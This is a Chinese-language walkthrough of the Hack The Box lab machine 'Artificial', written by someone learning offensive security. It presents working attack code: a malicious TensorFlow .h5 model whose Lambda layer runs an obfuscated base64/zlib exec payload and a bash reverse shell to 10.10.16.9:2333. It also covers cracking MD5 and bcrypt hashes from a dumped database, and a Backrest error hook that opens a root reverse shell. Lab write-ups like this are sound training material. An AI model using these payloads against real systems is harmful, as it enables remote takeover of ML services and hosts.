前言
在拿下Artificial的过程中,受到了Ayame大佬的这篇Write Up的巨大帮助,在我迷茫的时候给了我很多启发,在此表示感谢。
信息收集
Nmap
bash
nmap -A 10.10.11.74

发现了80端口开放,且存在域名artificial.htb。
在本地hosts文件添加一条记录。
bash
10.10.11.74 artificial.htb
dirb
没有发现任何有价值的目录,不再赘述。
获得立足点
访问artificial.htb。

往下翻一翻,看到了一个示例代码,感觉有用,先保存一份。

回到上面,看到有登录和注册。先注册一个账号看看系统有什么功能。


发现可以上传模型。

之前收集的示例代码不就有用了嘛!
那看看示例代码可能有什么漏洞吧。
发现模型存储的格式为.h5。这个格式是一种比较老旧的格式,TensorFlow官网明确说明不建议使用。 搜索一下相关漏洞,发现tensorflow-rce这个漏洞。 漏洞的原理很简单,在生成的.h5格式的模型文件中,可以加入一个Lambda层,这个层的内容可以是一个引用的方法。而如果这个方法是一个攻击者(就是我们啦)提供的具有恶意行为的方法,则可能造成命令执行等问题。
直接改一下之前的示例代码,加入RCE。
python
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
# 添加
def hack(a):
try:
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9T11LBCEUfR5/hW8qmcyWDbQ0QUQPERG0+xYRM3orGUdF3ZqK/nsrLsHlXs49534cMwcfM05eTZD5tzUjH4cEneQpx53KPJsZ0KuPeMHG4Ti4N6Crlq1Rk+PXPjepr8OiFnrCD3jzcH33stk+3lzds6ITyjsHKlNKVq0o0YlzwqU8ZYUfIwwTamBREHJZXC6LZAECPWPI9vUhsXNhUBMll7eEJxFBfVDJ2FP7jHR/wJahz3djAVtwVLMLu1+nj/7Z49pmCBZQtHgWGpSfQ4SUaLUvxk6Wpoai5D8kkXX6ZegP5xleWw==')[0])))
return a
except:
return a
np.random.seed(42)
# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100
# Create a DataFrame
data = pd.DataFrame({
'hour': hours,
'profit': profits
})
X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values
# Build the model
model = keras.Sequential([
layers.Dense(64, activation='relu', input_shape=(1,)),
layers.Dense(64, activation='relu'),
layers.Dense(1)
])
# 添加
model.add(layers.Lambda(hack))
# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')
# Train the model
model.fit(X, y, epochs=100, verbose=1)
# Save the model
model.save('profits_model.h5')
注意上面的代码,tensorflow-rce中直接写了反弹shell的语句,如果想编译通过,需要在一个可以访问到目标ip的主机编译。但是,我不想在kali装各种依赖包,因此选择了在自己的虚拟机上编译,加一个"try except"保证编译通过。
启动msfconsole,使用payload python/meterpreter/reverse_tcp,启动监听。如何使用msfconsole不再赘述。
运行python文件,生成profits_model.h5模型,上传,运行模型。
可以了吗?并不行。连接成功,但是一瞬间就断了。
而且可能是机器配置较低的原因,编译模型等了好久。
查了好久,没有查到原因。
看看Ayame大佬怎么做的吧。Ayame大佬是直接使用的POC,而且是使用的基于bash反弹shell的方式,并没有使用msf。看来后面还是要用bash的方式反弹shell,感觉稳定性好一些。
而且,很关键的一点,Ayame大佬是使用网站给出的Dockerfile构建的Docker环境生成的模型文件。
打开Dockerfile文件看一下,发现镜像只会安装tensorflow_cpu-2.13.1这一个Python依赖,而且使用的Python版本为3.8,猜测就是因为Python版本不同,所以模型运行不成功。
ok,知道了问题,继续吧。
使用Dockerfile构建一个镜像,镜像名称和版本可以随意写。注意在Dockerfile目录下执行命令。
bash
sudo docker build -t hack:1.0 .
启动容器。注意"-td"参数,"t"的意思是分配一个伪终端,"d"的意思是在后台运行容器并且打印容器ID。如果不使用这两个参数,容器启动后会立即停止。更多参数解析可以参考官方文档。
bash
sudo docker run -td hack:1.0
修改代码。(没错,我还是没有直接使用tensorflow-rce的POC,就是这么叛逆;)。)
这里有一个点,反弹shell使用了"bash -c"包裹了一层。这是因为靶机使用的是Ubuntu,而Ubuntu的默认shell(即/bin/sh指向的二进制文件)是dash而不是bash,并且dash是不支持"-i"参数和">& /dev/tcp/10.10.16.9/2333"这种写法,所以反弹shell不能成功。具体解释可以看这个,这个和这个。
python
# a.py
from tensorflow import keras
from keras import layers
def hack(a):
import os
try:
os.system("bash -c \"bash -i >& /dev/tcp/10.10.16.9/2333 0>&1\"")
return a
except:
return a
# Build the model
model = keras.Sequential([
layers.Input(shape=(64,))
])
model.add(layers.Lambda(hack))
# Compile the model
model.compile()
# Save the model
model.save('profits_model.h5')
复制Python脚本到容器中。注意hopeful_knuth为我的容器的名称,这个是随机的,只需要替换为你的容器名称就好。如果不知道容器的名称是什么,可以用docker ps -a
命令查看。
bash
sudo docker cp a.py hopeful_knuth:/code
进入容器。
bash
sudo docker exec -it hopeful_knuth /bin/bash
【容器内】运行Python脚本,生成模型文件。
bash
python3 a.py
exit
退出容器,将容器内的模型文件复制到宿主机。
bash
sudo docker cp hopeful_knuth:/code/profits_model.h5 .
启动nc监听。
bash
nc -lvvp 2333
上传模型,查看预测结果。

成功拿到shell。

提权
先尝试常规方法提权到root权限,没有任何结果,也没有发现User Flag,不再赘述。
gael
查看home目录,看到有一个gael用户。看来要先提权到gael了。 看到app目录下存在网站的源代码,准备拉下来做个代码审计,看看有没有什么可以利用的漏洞。 先打个包。
bash
tar -zcvf app.tar.gz .
启动一个web服务。
bash
python3 -m http.server 8000
浏览器访问这个地址,把压缩包下载下来。
拿到源代码之后,翻了一下,没什么特别的内容。不过看到了一个名称为users.db的文件,这不就有了嘛。
直接用sqlitebrowser打开,看到有个user表,里面有gael用户的邮箱和加密后的密码。

联想到需要提权到系统的gael用户权限,应该是密码复用了。 现在问题就是怎么破解出密码的明文了。 先看看源代码,是使用什么方式加密的。 在app.py中找到login方法,看到调用了一个名为hash的方法来加密密码。
python
if user and user.password == hash(password):
session['user_id'] = user.id
session['username'] = user.username
return redirect(url_for('dashboard'))
再来看看hash方法的内容。
python
def hash(password):
password = password.encode()
hash = hashlib.md5(password).hexdigest()
return hash
只是一个简单的md5加密嘛。 请出hashcat。
bash
hashcat -a 0 -m 0 c991759*******************8a34f8 rockyou.txt
破解得到明文密码"mat**********rtwo"。 通过ssh登录到gael用户,拿到User Flag。

root
尝试常规方法提权到root权限,没有任何结果。 没有思路了,求助Ayame大佬吧。大佬是看了一下本地监听端口,发现了存在其他的服务。 照着大佬的方法做。
bash
ss -tunlp

发现有两个比较可疑的端口,一个是5000端口,一个是9898端口。
经过测试,5000端口是之前的web服务,9898端口才是我们的目标。
但是它只监听了本地回环地址,如果想要访问,需要将端口转发出来。
因为我们知道gael用户的密码,可以使用ssh本地端口转发。注意,下面的命令是在本地执行的。
bash
ssh -CfNg -L 9999:127.0.0.1:9898 gael@10.10.11.74
使用浏览器访问,可以看到已经访问成功。

但是需要登录,要去哪找用户名和密码呢?
无意中执行了id命令,看到gael用户属于sysadm组。

经过各种尝试,最后发现sysadm组下有一个备份文件。
bash
find / -type f -group sysadm 2>/dev/null

照例,拉下来看看是什么。拉取方式和之前一样,不再赘述。
尝试解压,问题就来了。报错。

难道是我的打开方式不对?难道不能直接解压?
于是各种翻找文档,甚至在本地搭建了一个实例(这里面也有无数的坑),历经千辛万苦,仍然没有解决。 没办法了,再次求助Ayame大佬。
嗯?大佬直接就解压了......
这合理吗?
那回来看看我的解压命令吧。
bash
tar -zxvf backrest_backup.tar.gz
在搜索相关报错之后发现,-z参数表示这是一个gzip压缩文件。然而,文件名以.gz结尾并不意味着它是一个gzip压缩文件。如果文件实际上是一个未压缩的tar归档文件,而不是gzip压缩文件,使用-z选项会导致错误。
修改解压命令。
bash
tar -xvf backrest_backup.tar.gz
成功解压。

注意,解压后如果是在可视化窗口打开,可能会看不到.config目录。(.开头,隐藏文件嘛。)可以使用Ctrl + H
显示隐藏文件,或者直接命令行ls -la
吧。
在.config目录下发现一个config.json文件,打开看一下。

有个backrest_root用户,密码是通过Bcrypt加密的。
但是很奇怪,这个格式也不是Bcrypt密文的格式呀。有点困惑,看看Ayame大佬的文章吧。(已经被折腾的失去耐心......)
原来是Base64编码后的结果......(没看到结尾的"="就没想到是Base64编码,不太应该!)
那先解个码吧。
bash
echo 'JDJhJDEwJG************************************************************VCWnovMFFP' | base64 -d
得到解码后的密码" <math xmlns="http://www.w3.org/1998/Math/MathML"> 2 a 2a </math>2a10$cVGIy9*****************************************Zz/0QO"。
然后hashcat解密。
bash
hashcat -a 0 -m 3200 '$2a$10$cVGIy9*****************************************Zz/0QO' rockyou.txt
得到明文密码"!****^"。
登录系统成功。

Ayame大佬在这一步是使用备份文件的方式拿到的Root Flag,但是我想拿到一个shell。(其实,受到大佬的启发,可以将root目录下的id_rsa文件导出到本地,再通过ssh登录,同样可以获得shell。不过这种方式我并没有尝试,感兴趣的话可以试一下。)
好在之前折腾过这个软件,对各种功能也比较熟了,之前的时间也算没有白费。
先运行nc,准备接收shell。
bash
nc -lvvp 2333
新建一个仓库,名称什么的可以随便填。

然后再新建一个计划,名称随便填,仓库选择之前创建的那个。关键点来了,路径要写一个系统绝对不会存在的路径。然后下拉,找到计划时间,选择每分钟触发。再下拉,找到Hooks --> Add Hook --> Command,触发条件选择"CONDITION_ANY_ERROR",Script处填写bash -c "bash -i >& /dev/tcp/10.10.16.10/2333 0>&1"
。(因为是分多次完成的,所以ip地址和之前不同。)
原理是我们的计划选择了一个系统不存在的路径,在执行计划的过程中必定会报错。由于Hooks触发条件选择了当错误发生时执行命令,而命令又是反弹shell的指令,因此可以得到shell。
提交,等待计划运行。



成功拿到shell,查看Root Flag。

后记
这次尝试的靶机难度是属于偏简单的,但是确实水平有限,中间参考了大佬的解答才有思路。加上中间有事,断断续续做了两周才做完,又花了两天时间才整理好。我尽可能详细的记录了拿下靶机过程中的操作步骤及遇到的问题,希望能对看到的人有一点帮助。大家共同进步!